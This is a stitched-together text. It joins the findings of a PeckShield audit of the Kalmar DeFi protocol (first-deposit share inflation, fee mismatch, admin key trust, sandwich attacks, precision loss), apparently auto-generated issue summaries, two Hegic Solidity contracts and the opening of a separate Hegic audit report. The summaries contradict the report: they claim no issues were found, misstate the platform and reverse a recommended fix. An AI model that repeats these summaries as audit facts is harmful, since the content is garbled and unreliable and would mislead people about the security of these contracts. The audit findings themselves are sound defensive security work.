Discrepancy Between Kalmar And PancakeSwapBusiness Logic Resolved PVE-003 Low No payable in All Four Strategies Coding Practices Resolved PVE-004 Informational Inconsistency Between Document and ImplementationCoding Practices Resolved PVE-005 Medium Trust Issue of Admin Keys Business Logic Confirmed PVE-006 Low PotentialSandwichAttacksForReduced ReturnsTime and State Resolved PVE-007 Low Improved Precision By Multiplication And Division ReorderingNumeric Errors Resolved Besides recommending specific countermeasures to mitigate these issues, we also emphasize that it is always important to develop necessary risk-control mechanisms and make contingency plans, which may need to be exercised before the mainnet deployment. The risk-control mechanisms need to kick in at the very moment when the contracts are being deployed in mainnet. Please refer to Section 3 for details. 11/25 PeckShield Audit Report #: 2021-229Public 3 | Detailed Results 3.1 Possible Costly LPs From Improper Bank Initialization •ID: PVE-001 •Severity: Medium •Likelihood: Low •Impact: High•Target: Bank •Category: Time and State [9] •CWE subcategory: CWE-362 [5] Description In the Kalmarprotocol, the Bankcontract is an essential one that manages current debt positions and mediates the access to various workers(orGoblins). Meanwhile, the Bankcontract allows liquidity providers to provide liquidity so that lenders can earn high interest and the lending interest rate comes from leveraged yield farmers. While examining the share calculation when lenders provide liquidity (via deposit() ), we notice an issue that may unnecessarily make the Bank-related pool token extremely expensive and bring hurdles (or even causes loss) for later liquidity providers. To elaborate, we show below the deposit() routine. This routine is used for liquidity providers to deposit desired liquidity and get respective pool tokens in return. The issue occurs when the pool is being initialized under the assumption that the current pool is empty. 103 /// @dev Add more ETH to the bank . Hope to get some good returns . 104 function deposit () external payable accrue (msg. value ) nonReentrant { 105 uint256 total = totalETH (). sub ( msg . value ); 106 uint256 share = total == 0 ? msg . value : msg . value .mul ( totalSupply ()). div ( total ) ; 107 _mint ( msg . sender , share ); 108 } 110 /// @dev Withdraw ETH from the bank by burning the share tokens . 111 function withdraw ( uint256 share ) external accrue (0) nonReentrant { 112 uint256 amount = share . mul ( totalETH ()). div ( totalSupply ()); 113 _burn ( msg . sender , share ); 114 SafeToken . safeTransferETH ( msg . sender , amount ); 12/25 PeckShield Audit Report #: 2021-229Public 115 } Listing 3.1: Bank::deposit()/withdraw() Specifically, when the pool is being initialized, the share value directly takes the given value of msg .value(line 106), whichisundercontrolbythemaliciousactor. Asthisisthefirstdeposit, thecurrent total supply equals the calculated share = total == 0 ? msg.value : msg.value.mul(totalSupply()). div(total)= 1WEI . After that, the actor can further transfer a huge amount of tokens with the goal of making the pool token extremely expensive. An extremely expensive pool token can be very inconvenient to use as a small number of 1W EI may denote a large value. Furthermore, it can lead to precision issue in truncating the computed pool tokens for deposited assets. If truncated to be zero, the deposited assets are essentially considered dust and kept by the pool without returning any pool tokens. This is a known issue that has been mitigated in popular UniswapV2 . When providing the initial liquidity to the contract (i.e. when totalSupply is 0), the liquidity provider must sacrifice 1000LP tokens (by sending them to address .0/). By doing so, we can ensure the granularity of the LP tokens is always at least 1000and the malicious actor is not the sole holder. This approach may bring an additional cost for the initial stake provider, but this cost is expected to be low and acceptable. Another alternative requires a guarded launch to ensure the pool is always initialized properly. Recommendation Revise current execution logic of deposit() to defensively calculate the share amount when the pool is being initialized. Status This issue has been fixed by requiring a minimal share in the Bankby the following commit: a0f5299. 3.2 Trading Fee Discrepancy Between Kalmar And PancakeSwap •ID: PVE-002 •Severity: Medium •Likelihood: High •Impact: Medium•Target: Multiple Contracts •Category: Business Logic [11] •CWE subcategory: CWE-841 [7] Description In the Kalmarprotocol, a number of situations require the real-time swap of one token to another. For example, the StrategyAllBaseTokenOnly strategy takes only the base token and converts some portion of it to quote token so that their ratio matches the current swap price in the PancakeSwap pool. Note 13/25 PeckShield Audit Report #: 2021-229Public that in PancakeSwap , if you make a token swap or trade on the exchange, you will need to pay a 0:25~ trading fee, which is broken down into two parts. The first part of 0:17~is returned to liquidity pools in the form of a fee reward for liquidity providers, the 0:03~is sent to the PancakeSwap Treasury , and the remaining 0:05~is used towards CAKEbuyback and burn. To elaborate, we show below the getAmountOut() routine inside the the UniswapV2Library . For comparison, we also show the getMktSellAmount() routine in MasterChefGoblin . It is interesting to note that MasterChefGoblin has implicitly assumed the trading fee is 0:3~, instead of 0:25~. The difference in the built-in trading fee may skew the optimal allocation of assets in the devel- oped strategies (e.g., StrategyAddETHOnly and StrategyAddTwoSidesOptimal ) and other contracts (e.g., MasterChefPoolRewardPairGoblin and MasterChefPoolRewardPairGoblin ). 61 // given an input amount of an asset and pair reserves , returns the maximum output amount of the other asset 62 function getAmountOut ( 63 uint256 amountIn , 64 uint256 reserveIn , 65 uint256 reserveOut 66 ) internal pure returns ( uint256 amountOut ) { 67 require ( amountIn > 0, ’ UniswapV2Library : INSUFFICIENT_INPUT_AMOUNT ’); 68 require ( reserveIn > 0 && reserveOut > 0, ’ UniswapV2Library : INSUFFICIENT_LIQUIDITY ’) ; 69 uint256 amountInWithFee = amountIn . mul (997) ; 70 uint256 numerator = amountInWithFee . mul ( reserveOut ); 71 uint256 denominator = reserveIn . mul (1000) .add ( amountInWithFee ); 72 amountOut = numerator / denominator ; 73 } Listing 3.2: UniswapV2Library::getAmountOut() 149 /// @dev Return maximum output given the input amount and the status of Uniswap reserves . 150 /// @param aIn The amount of asset to market sell . 151 /// @param rIn the amount of asset in reserve for input . 152 /// @param rOut The amount of asset in reserve for output . 153 function getMktSellAmount ( uint256 aIn , uint256 r I n , uint256 rOut ) public pure returns (uint256 ) { 154 i f( aIn == 0) return 0 ; 155 require ( r I n > 0 && rOut > 0 , " bad reserve values " ) ; 156 uint256 aInWithFee = aIn . mul (997) ; 157 uint256 numerator = aInWithFee . mul ( rOut ) ; 158 uint256 denominator = r I n . mul (1000) . add ( aInWithFee ) ; 159 return numerator / denominator ; 160 } Listing 3.3: MasterChefGoblin::getMktSellAmount() Recommendation Make the built-in trading fee in Kalmarconsistent with the actual trading fee in PancakeSwap . 14/25 PeckShield Audit Report #: 2021-229Public Status This issue has been fixed by the following commit: a0f5299. 3.3 No payable in All Four Strategies •ID: PVE-003 •Severity: Low •Likelihood: Low •Impact: Low•Target: Multiple Contracts •Category: Coding Practices [10] •CWE subcategory: CWE-1126 [2] Description The Kalmarprotocolhasfourbuilt-instrategies StrategyAllBaseTokenOnly ,StrategyAddTwoSidesOptimal ,StrategyLiquidate , and StrategyWithdrawMinimizeTrading . The first strategy allows for adding native tokens for farming, the second strategy supports the addition of both base tokens and farming tokens, the third strategy is designed to liquidate the farming tokens back to base tokens, and the four strategy enables the withdrawal with minimized trading. These four strategies define their own execute() routines to perform respective tasks. To elaborate, we show below the execute() function from the first strategy. It comes to our attention that this function comes with the payablekeyword. However, the implementation does not handle any native tokens. Note this is the same for all the above four strategies in the leverage- yield-contracts-busd repository, but not in the leverage-yield-contracts repository. 29 function execute ( address /* user */ , uint256 /* debt */ , bytes calldata data ) 30 external 31 payable 32 nonReentrant 33 { 34 // 1. Find out what farming token we are dealing with and min additional LP tokens . 35 ( address baseToken , address fToken , uint256 minLPAmount ) = abi . decode (data , ( address , address , uint256 )); 36 IUniswapV2Pair lpToken = IUniswapV2Pair ( factory . getPair ( fToken , baseToken )); 37 // 2. Compute the optimal amount of ETH to be converted to farming tokens . 38 uint256 balance = baseToken . myBalance (); 39 ( uint256 r0 , uint256 r1 , ) = lpToken . getReserves (); 40 uint256 rIn = lpToken . token0 () == baseToken ? r0 : r1; 41 uint256 aIn = Math . sqrt ( rIn . mul ( balance . mul (3988000) . add( rIn. mul (3988009) ))). sub ( rIn . mul (1997) ) / 1994; 42 // 3. Convert that portion of ETH to farming tokens . 43 address [] memory path = new address [](2) ; 44 path [0] = baseToken ; 45 path [1] = fToken ; 46 baseToken . safeApprove ( address ( router ), 0); 47 baseToken . safeApprove ( address ( router ), uint ( -1)); 15/25 PeckShield Audit Report #: 2021-229Public 48 router . swapExactTokensForTokens (aIn , 0, path , address ( this ), now); 49 // 4. Mint more LP tokens and return all LP tokens to the sender . 50 fToken . safeApprove ( address ( router ), 0); 51 fToken . safeApprove ( address ( router ), uint ( -1)); 52 (,, uint256 moreLPAmount ) = router . addLiquidity ( 53 baseToken , fToken , baseToken . myBalance () , fToken . myBalance () , 0, 0, address ( this ), now 54 ); 55 require ( moreLPAmount >= minLPAmount , " insufficient LP tokens received "); 56 lpToken . transfer ( msg . sender , lpToken . balanceOf ( address ( this ))); 57 } Listing 3.4: StrategyAllBaseTokenOnly::execute() Recommendation Remove the unnecessary payablein the four strategies from the leverage- yield-contracts-busd repository. Status This issue has been fixed by the following commit: a0f5299. 3.4 Inconsistency Between Document and Implementation •ID: PVE-004 •Severity: Informational •Likelihood: N/A •Impact: N/A•Target: Multiple Contracts •Category: Coding Practices [10] •CWE subcategory: CWE-1041 [1] Description Thereareafewmisleadingcommentsembeddedamonglinesofsoliditycode, whichbringunnecessary hurdles to understand and/or maintain the software. A few example comments can be found in various execute() routines scattered in different con- tacts, e.g., line 27ofStrategyAllBaseTokenOnly , line 86ofStrategyAddTwoSidesOptimal , and line 27 ofStrategyWithdrawMinimizeTrading . Using the StrategyAllBaseTokenOnly::execute() routine as an example, the preceding function summary indicates that this routine expects to “ Take LP tokens + ETH. Return LP tokens + ETH. .” However, our analysis shows that it only takes base tokens and returns LP tokens back to the sender. 29 function execute ( address /* user */ , uint256 /* debt */ , bytes calldata data ) 30 external 31 payable 32 nonReentrant 33 { 34 // 1. Find out what farming token we are dealing with and min additional LP tokens . 16/25 PeckShield Audit Report #: 2021-229Public 35 ( address baseToken , address fToken , uint256 minLPAmount ) = abi . decode (data , ( address , address , uint256 )); 36 IUniswapV2Pair lpToken = IUniswapV2Pair ( factory . getPair ( fToken , baseToken )); 37 // 2. Compute the optimal amount of ETH to be converted to farming tokens . 38 uint256 balance = baseToken . myBalance (); 39 ( uint256 r0 , uint256 r1 , ) = lpToken . getReserves (); 40 uint256 rIn = lpToken . token0 () == baseToken ? r0 : r1; 41 uint256 aIn = Math . sqrt ( rIn . mul ( balance . mul (3988000) . add( rIn. mul (3988009) ))). sub ( rIn . mul (1997) ) / 1994; 42 // 3. Convert that portion of ETH to farming tokens . 43 address [] memory path = new address [](2) ; 44 path [0] = baseToken ; 45 path [1] = fToken ; 46 baseToken . safeApprove ( address ( router ), 0); 47 baseToken . safeApprove ( address ( router ), uint ( -1)); 48 router . swapExactTokensForTokens (aIn , 0, path , address ( this ), now); 49 // 4. Mint more LP tokens and return all LP tokens to the sender . 50 fToken . safeApprove ( address ( router ), 0); 51 fToken . safeApprove ( address ( router ), uint ( -1)); 52 (,, uint256 moreLPAmount ) = router . addLiquidity ( 53 baseToken , fToken , baseToken . myBalance () , fToken . myBalance () , 0, 0, address ( this ), now 54 ); 55 require ( moreLPAmount >= minLPAmount , " insufficient LP tokens received "); 56 lpToken . transfer ( msg . sender , lpToken . balanceOf ( address ( this ))); 57 } Listing 3.5: StrategyAllBaseTokenOnly::execute() Note that the StrategyLiquidate::execute() routine takes LP tokens and returns base tokens; the StrategyAddTwoSidesOptimal::execute() routine takes base and fTokentokens and returns LP tokens; while the StrategyWithdrawMinimizeTrading::execute() routine takes LP tokens and returns base and fTokentokens. Recommendation Ensuretheconsistencybetweendocuments(includingembeddedcomments) and implementation. Status This issue has been fixed by the following commit: a0f5299. 17/25 PeckShield Audit Report #: 2021-229Public 3.5 Trust Issue of Admin Keys •ID: PVE-005 •Severity: Medium •Likelihood: Low •Impact: High•Target: Multiple Contracts •Category: Security Features [8] •CWE subcategory: CWE-287 [4] Description In the Kalmarprotocol, all debt positions are managed by the Bankcontract. And there is a privi- leged account that plays a critical role in governing and regulating the system-wide operations (e.g., parameter setting and strategy adjustment). It also has the privilege to control or govern the flow of assets managed by this protocol. Our analysis shows that the privileged account needs to be scrutinized. In the following, we examine the privileged account and their related privileged accesses in current contracts. To elaborate, we show below the kill()routine in the Bankcontract. This routine allows anyone to liquidate the given position assuming it is underwater and available for liquidation. There is a key factor, i.e., killFactor , that greatly affects the decision on whether the position can be liquidated (line 193). Note that killFactor is a risk parameter that can be dynamically configured by the privileged owner. 186 function kill ( uint256 id) external onlyEOA accrue (0) nonReentrant { 187 // 1. Verify that the position is eligible for liquidation . 188 Position storage pos = positions [id ]; 189 require ( pos . debtShare > 0, "no debt "); 190 uint256 debt = _removeDebt (id); 191 uint256 health = Goblin ( pos . goblin ). health (id); 192 uint256 killFactor = config . killFactor ( pos . goblin , debt ); 193 require ( health .mul ( killFactor ) < debt .mul (10000) , " can ’t liquidate "); 194 // 2. Perform liquidation and compute the amount of ETH received . 195 uint256 beforeETH = token . myBalance (); 196 Goblin (pos . goblin ). liquidate (id); 197 uint256 back = token . myBalance (). sub( beforeETH ); 198 uint256 prize = back . mul( config . getKillBps ()).div (10000) ; 199 uint256 rest = back . sub ( prize ); 200 // 3. Clear position debt and return funds to liquidator and position owner . 201 if ( prize > 0) { 202 address rewardTo = killBpsToTreasury == true ? treasuryAddr : msg . sender ; 203 SafeToken . safeTransfer (token , rewardTo , prize ); 204 } 205 uint256 left = rest > debt ? rest - debt : 0; 206 if ( left > 0) SafeToken . safeTransfer (token , pos .owner , left ); 207 emit Kill (id , msg .sender , prize , left ); 18/25 PeckShield Audit Report #: 2021-229Public 208 } Listing 3.6: Vault::kill() Also,ifweexaminetheprivilegedfunctiononavailable MasterChefGoblin ,i.e., setCriticalStrategies (), this routine allows the update of new strategies to work on a user’s position. It has been high- lighted that bad strategies can steal user funds. Note that this privileged function is guarded with onlyOwner . 269 /// @dev Update critical strategy smart contracts . EMERGENCY ONLY . Bad strategies can steal funds . 270 /// @param _addStrat The new add strategy contract . 271 /// @param _liqStrat The new liquidate strategy contract . 272 function setCriticalStrategies ( Strategy _addStrat , Strategy _liqStrat ) external onlyOwner { 273 addStrat = _addStrat ; 274 liqStrat = _liqStrat ; 275 } Listing 3.7: MasterChefGoblin::setCriticalStrategies() It is worrisome if the privileged owneraccount is a plain EOA account. The discussion with the team confirms that the owneraccount is currently managed by a timelock. A plan needs to be in place to migrate it under community governance. Note that a multi-sig account could greatly alleviate this concern, though it is still far from perfect. Specifically, a better approach is to eliminate the administration key concern by transferring the role to a community-governed DAO. In the meantime, a timelock-based mechanism can also be considered as mitigation. Recommendation Promptly transfer the privileged account to the intended DAO-like governance contract. All changed to privileged operations may need to be mediated with necessary timelocks. Eventually, activate the normal on-chain community-based governance life-cycle and ensure the in- tended trustless nature and high-quality distributed governance. Status This issue has been confirmed with the team. 19/25 PeckShield Audit Report #: 2021-229Public 3.6 Potential Sandwich Attacks For Reduced Returns •ID: PVE-006 •Severity: Low •Likelihood: Low •Impact: Low•Target: Multiple Contracts •Category: Time and State [12] •CWE subcategory: CWE-682 [6] Description Asayieldfarmingandleveragedliquidityprovidingprotocol, Kalmarhasaconstantneedofperforming token swaps between base and farming tokens. In the following, we examine the re-investment logic from the new MasterChefGoblin contract. Toelaborate, weshowbelowthe reinvest() implementation. Asthenameindicates, itisdesigned to re-invest whatever this worker has earned to the staking pool. In the meantime, the caller will be incentivized with reward bounty based on the risk parameter reinvestBountyBps and a portion of the reward bounty will be sent to reinvestToTreasury to increase the size. 115 /// @dev Re - invest whatever this worker has earned back to staked LP tokens . 116 function reinvest () public onlyEOA nonReentrant { 117 // 1. Withdraw all the rewards . 118 masterChef . withdraw (pid , 0); 119 uint256 reward = rewardToken . balanceOf ( address ( this )); 120 if ( reward == 0) return ; 121 // 2. Send the reward bounty to the caller or Owner . 122 uint256 bounty = reward . mul ( reinvestBountyBps ) / 10000; 124 address rewardTo = reinvestToTreasury == true ? treasuryAddr : msg. sender ; 126 rewardToken . safeTransfer ( rewardTo , bounty ); 127 // 3. Convert all the remaining rewards to ETH . 128 address [] memory path = new address [](3) ; 129 path [0] = address ( rewardToken ); 130 path [1] = address ( wbnb ); 131 path [2] = address ( baseToken ); 132 router . swapExactTokensForTokens ( reward . sub( bounty ), 0, path , address ( this ), now ) ; 133 // 4. Use add ETH strategy to convert all ETH to LP tokens . 134 baseToken . safeTransfer ( address ( addStrat ), baseToken . myBalance ()); 135 addStrat . execute ( address (0) , 0, abi . encode ( baseToken , fToken , 0)); 136 // 5. Mint more LP tokens and stake them for more rewards . 137 masterChef . deposit (pid , lpToken . balanceOf ( address ( this ))); 138 emit Reinvest (msg. sender , reward , bounty ); 139 } Listing 3.8: MasterChefGoblin::reinvest() 20/25 PeckShield Audit Report #: 2021-229Public We notice the remaining rewards are routed to pancakeSwap and the actual swap operation swapExactTokensForTokens() does not specify any restriction (with amountOutMin=0 ) on possible slip- page and is therefore vulnerable to possible front-running attacks, resulting in a smaller gain for this round of yielding. NotethatthisisacommonissueplaguingcurrentAMM-basedDEXsolutions. Specifically, alarge trade may be sandwiched by a preceding sell to reduce the market price, and a tailgating buy-back of the same amount plus the trade amount. Such sandwiching behavior unfortunately causes a loss and brings a smaller return as expected to the trading user because the swap rate is lowered by the preceding sell. As a mitigation, we may consider specifying the restriction on possible slippage caused by the trade or referencing the TWAPortime-weighted average price ofUniswapV2 . Nevertheless, we need to acknowledge that this is largely inherent to current blockchain infrastructure and there is still a need to continue the search efforts for an effective defense. Recommendation Develop an effective mitigation to the above front-running attack to better protect the interests of farming users. Status The issue has been confirmed. Moreover, according to the discussion with the develop- ment team, the funds to be used to swap when reinvest() is called is not large. Hence, the risk is in the acceptable range. 3.7 Improved Precision By Multiplication And Division Reordering •ID: PVE-007 •Severity: Low •Likelihood: Medium •Impact: Low•Target: CakeMaxiWorkerConfig •Category: Numeric Errors [13] •CWE subcategory: CWE-190 [3] Description SafeMath is a widely-used Solidity mathlibrary that is designed to support safe mathoperations by preventing common overflow or underflow issues when working with uint256operands. While it indeed blocks common overflow or underflow issues, the lack of floatsupport in Solidity may introduce another subtle, but troublesome issue: precision loss. In this section, we examine one possible precision loss source that stems from the different orders when both multiplication ( mul) and division ( div) are involved. 21/25 PeckShield Audit Report #: 2021-229Public In particular, we use the MasterChefGoblinConfig::isStable() as an example. This routine is used to measure the stability of the given worker and prevent it from being manipulated. 51 /// @dev Return whether the given goblin is stable , presumably not under manipulation . 52 function isStable ( address goblin ) public view returns ( bool ) { 53 IUniswapV2Pair lp = IMasterChefGoblin ( goblin ). lpToken (); 54 address token0 = lp. token0 (); 55 address token1 = lp. token1 (); 56 // 1. Check that reserves and balances are consistent ( within 1%) 57 ( uint256 r0 , uint256 r1 ,) = lp. getReserves (); 58 uint256 t0bal = token0 . balanceOf ( address (lp)); 59 uint256 t1bal = token1 . balanceOf ( address (lp)); 60 require ( t0bal . mul (100) <= r0. mul (101) , " bad t0 balance "); 61 require ( t1bal . mul (100) <= r1. mul (101) , " bad t1 balance "); 62 // 2. Check that price is in the acceptable range 63 ( uint256 price , uint256 lastUpdate ) = oracle . getPrice ( token0 , token1 ); 64 require ( lastUpdate >= now - 7 days , " price too stale "); 65 uint256 lpPrice = r1. mul (1 e18 ). div (r0); 66 uint256 maxPriceDiff = goblins [ goblin ]. maxPriceDiff ; 67 require ( lpPrice <= price . mul( maxPriceDiff ). div (10000) , " price too high "); 68 require ( lpPrice >= price . mul (10000) . div ( maxPriceDiff ), " price too low "); 69 // 3. Done 70 return true ; 71 } Listing 3.9: MasterChefGoblinConfig::isStable() Wenoticethecomparisonbetweenthe lpPriceandtheexternaloracleprice(lines 67*68)involves mixed multiplication and devision. For improved precision, it is better to calculate the multiplication before the division, i.e., require(lpPrice.mul(10000)<= price.mul(maxPriceDiff)) , instead of current require(lpPrice <= price.mul(maxPriceDiff).div(10000)) (line 67). Note that the resulting precision loss may be just a small number, but it plays a critical role when certain boundary conditions are met. And it is always the preferred choice if we can avoid the precision loss as much as possible. Recommendation Revise the above calculations to better mitigate possible precision loss. Status This issue has been fixed by the following commit: a0f5299. 22/25 PeckShield Audit Report #: 2021-229Public 4 | Conclusion In this audit, we have analyzed the design and implementation of the Kalmarprotocol, which is a decentralized bank powered by DeFi and NFT. The audited implementation is a leveraged-yield farming protocol built on the BSCwith an initial fork from Alpha. The system continues the innovative design and makes it distinctive and valuable when compared with current yield farming offerings. The current code base is well organized and those identified issues are promptly confirmed and fixed. Meanwhile, we need to emphasize that Solidity-based smart contracts as a whole are still in an early, but exciting stage of development. To improve this report, we greatly appreciate any constructive feedbacks or suggestions, on our methodology, audit findings, or potential gaps in scope/coverage. 23/25 PeckShield Audit Report #: 2021-229Public References [1] MITRE. CWE-1041: Use of Redundant Code. https://cwe.mitre.org/data/definitions/1041. html. [2] MITRE. CWE-1126: Declaration of Variable with Unnecessarily Wide Scope. https://cwe. mitre.org/data/definitions/1126.html. [3] MITRE. CWE-190: Integer Overflow or Wraparound. https://cwe.mitre.org/data/definitions/ 190.html. [4] MITRE. CWE-287: ImproperAuthentication. https://cwe.mitre.org/data/definitions/287.html. [5] MITRE. CWE-362: ConcurrentExecutionusingSharedResourcewithImproperSynchronization (’Race Condition’). https://cwe.mitre.org/data/definitions/362.html. [6] MITRE. CWE-682: Incorrect Calculation. https://cwe.mitre.org/data/definitions/682.html. [7] MITRE. CWE-841: Improper Enforcement of Behavioral Workflow. https://cwe.mitre.org/ data/definitions/841.html. [8] MITRE. CWE CATEGORY: 7PK - Security Features. https://cwe.mitre.org/data/definitions/ 254.html. [9] MITRE. CWE CATEGORY: 7PK - Time and State. https://cwe.mitre.org/data/definitions/ 361.html. 24/25 PeckShield Audit Report #: 2021-229Public [10] MITRE. CWE CATEGORY: Bad Coding Practices. https://cwe.mitre.org/data/definitions/ 1006.html. [11] MITRE. CWE CATEGORY: Business Logic Errors. https://cwe.mitre.org/data/definitions/ 840.html. [12] MITRE. CWE CATEGORY: Error Conditions, Return Values, Status Codes. https://cwe.mitre. org/data/definitions/389.html. [13] MITRE. CWE CATEGORY: Numeric Errors. https://cwe.mitre.org/data/definitions/189.html. [14] MITRE. CWE VIEW: Development Concepts. https://cwe.mitre.org/data/definitions/699. html. [15] OWASP. Risk Rating Methodology. https://www.owasp.org/index.php/OWASP_Risk_ Rating_Methodology. [16] PeckShield. PeckShield Inc. https://www.peckshield.com. 25/25 PeckShield Audit Report #: 2021-229
1. Issues Count of Minor/Moderate/Major/Critical - Minor Issues: 4 - Moderate Issues: 2 - Major Issues: 1 - Critical Issues: 0 2. Minor Issues 2.a Problem (one line with code reference) - Possible costly LPs from improper bank initialization (3.1) - Trading fee discrepancy between Kalmar and PancakeSwap (3.2) - No payable in all four strategies (3.3) - Inconsistency between document and implementation (3.4) 2.b Fix (one line with code reference) - Add a payable function to the strategies (3.3) - Update the document to match the implementation (3.4) 3. Moderate Issues 3.a Problem (one line with code reference) - Trust issue of admin keys (3.5) - Potential sandwich attacks for reduced returns (3.6) 3.b Fix (one line with code reference) - Add a multi-sig wallet for admin keys (3.5) - Add a check to prevent sandwich attacks (3.6) 4. Major 4.a Problem ( Summary: Issues Count of Minor/Moderate/Major/Critical: - Minor: 0 - Moderate: 0 - Major: 0 - Critical: 0 Observations: - Kalmar Protocol is an Ethereum Smart Contract - Latest Audit Report is from August 20, 2021 - Git repositories of reviewed files and commit hash values used in audit are provided - Vulnerability Severity Classification is based on OWASP Risk Rating Methodology - Evaluation is done by going through a list of check items and each is labeled with a severity category Conclusion: No issues were found in the audit. Issues Count of Minor/Moderate/Major/Critical - Minor: 2 - Moderate: 3 - Major: 0 - Critical: 0 Minor Issues 2.a Problem: Unchecked return value (CWE-252) 2.b Fix: Check return value Moderate Issues 3.a Problem: Unchecked external call return value (CWE-252) 3.b Fix: Check external call return value 3.c Problem: Unchecked external call return value (CWE-252) 3.d Fix: Check external call return value 3.e Problem: Unchecked external call return value (CWE-252) 3.f Fix: Check external call return value Major Issues: None Critical Issues: None Observations: - Security audit is not designed to replace functional tests required before any software release - Evaluation result does not guarantee the nonexistence of any further findings of security issues Conclusion: The audit found 2 minor issues and 3 moderate issues related to unchecked return values. It is important to note that the audit does not guarantee the nonexistence of any further findings of security issues.
/** * SPDX-License-Identifier: GPL-3.0-or-later * Hegic * Copyright (C) 2021 Hegic Protocol * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. **/ pragma solidity ^0.8.6; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; /** * @dev A contract that allows to lock-up the rewards in * the Hegic Long-Term Pools during a certain period of time. */ contract HLTPs { using SafeERC20 for IERC20; // The beneficiary of rewards after they are released address private immutable _beneficiary; // The timestamp when the rewards release will be enabled uint256 private immutable _releaseTime; constructor(uint256 releaseTime_) { _beneficiary = msg.sender; _releaseTime = releaseTime_; } /** * @return The beneficiary address that will distribute the rewards. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return The point of time when the rewards will be released. */ function releaseTime() public view returns (uint256) { return _releaseTime; } /** * @notice Transfers tokens locked by timelock to beneficiary. */ function release(IERC20 token) public { require( block.timestamp >= releaseTime(), "HLTPs: Current time is earlier than the release time" ); uint256 amount = token.balanceOf(address(this)); require(amount > 0, "HLTPs: No rewards to be released"); token.safeTransfer(beneficiary(), amount); } } pragma solidity 0.8.6; /** * SPDX-License-Identifier: GPL-3.0-or-later * Hegic * Copyright (C) 2021 Hegic Protocol * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. **/ import "./Interfaces/IOptionsManager.sol"; import "./Interfaces/Interfaces.sol"; /** * @author 0mllwntrmt3 * @title Hegic Protocol V8888 Exerciser Contract * @notice The contract that allows to automatically exercise options half an hour before expiration **/ contract Exerciser { IOptionsManager immutable optionsManager; constructor(IOptionsManager manager) { optionsManager = manager; } function exercise(uint256 optionId) external { IHegicPool pool = IHegicPool(optionsManager.tokenPool(optionId)); (, , , , uint256 expired, ) = pool.options(optionId); require( block.timestamp > expired - 30 minutes, "Facade Error: Automatically exercise for this option is not available yet" ); pool.exercise(optionId); } }
Public SMART CONTRACT AUDIT REPORT for Hegic HardCore Beta Prepared By: Yiqun Chen PeckShield February 26, 2022 1/27 PeckShield Audit Report #: 2022-056Public Document Properties Client Hegic Title Smart Contract Audit Report Target Hegic HardCore Beta Version 1.0 Author Xiaotao Wu Auditors Xiaotao Wu, Xuxian Jiang Reviewed by Yiqun Chen Approved by Xuxian Jiang Classification Public Version Info Version Date Author(s) Description 1.0 February 26, 2022 Xiaotao Wu Final Release 1.0-rc February 22, 2022 Xiaotao Wu Release Candidate #1 Contact For more information about this document and its contents, please contact PeckShield Inc. Name Yiqun Chen Phone +86 183 5897 7782 Email contact@peckshield.com 2/27 PeckShield Audit Report #: 2022-056Public Contents 1 Introduction 4 1.1 About Hegic . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.2 About PeckShield . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.3 Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.4 Disclaimer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2 Findings 9 2.1 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 2.2 Key Findings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3 Detailed Results 11 3.1 Inconsistent Implementation Of _calculatePeriodFee() . . . . . . . . . . . . . . . . . 11 3.2 Non-Functional Logic Of HegicStakeAndCover::provide() . . . . . . . . . . . . . . . 13 3.3 Arithmetic Underflow Avoidance In HegicOperationalTreasury::_replenish() . . . . . 14 3.4 Incorrect lockedPremium Update In HegicOperationalTreasury::lockLiquidityFor() . . 15 3.5 Incorrect withdraw Logic In HegicOperationalTreasury . . . . . . . . . . . . . . . . . 16 3.6 Accommodation of Non-ERC20-Compliant Tokens . . . . . . . . . . . . . . . . . . . 17 3.7 Trust Issue of Admin Keys . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 3.8 Improved Sanity Checks For System/Function Parameters . . . . . . . . . . . . . . . 21 3.9 Improved Reentrancy Protection In HegicPool . . . . . . . . . . . . . . . . . . . . . 23 4 Conclusion 25 References 26 3/27 PeckShield Audit Report #: 2022-056Public 1 | Introduction Given the opportunity to review the design document and related smart contract source code of the Hegicprotocol, we outline in the report our systematic approach to evaluate potential security issues in the smart contract implementation, expose possible semantic inconsistencies between smart contract code and design document, and provide additional suggestions or recommendations for improvement. Our results show that the given version of smart contracts can be further improved due to the presence of several issues related to either security or performance. This document outlines our audit results. 1.1 About Hegic The Hegicprotocol is an on-chain peer-to-pool options trading protocol built on Ethereum. It works like an AMM(automated market maker) for options. Users can trade non-custodial on-chain call and put options as an individual holder using the simplest and intuitive interfaces. The protocol allows for the use of MetaMask,Trust Wallet orArgentwallets to trade options without KYC, email or registration required. The Hegicprotocol provides a valuable instrument to hedge risks and control excessive exposure from market fluctuation and dynamics, therefore presenting a unique contribution to current DeFiecosystem. The basic information of Hegicis as follows: Table 1.1: Basic Information of Hegic HardCore Beta ItemDescription Target Hegic HardCore Beta Website https://www.hegic.co/ TypeEthereum Smart Contract Platform Solidity Audit Method Whitebox Latest Audit Report February 26, 2022 In the following, we show the Git repository of reviewed files and the commit hash value used in this audit. Note the audited repository contains a number of sub-directories and this audit only 4/27 PeckShield Audit Report #: 2022-056Public covers the Optionsand Poolsub-directories. 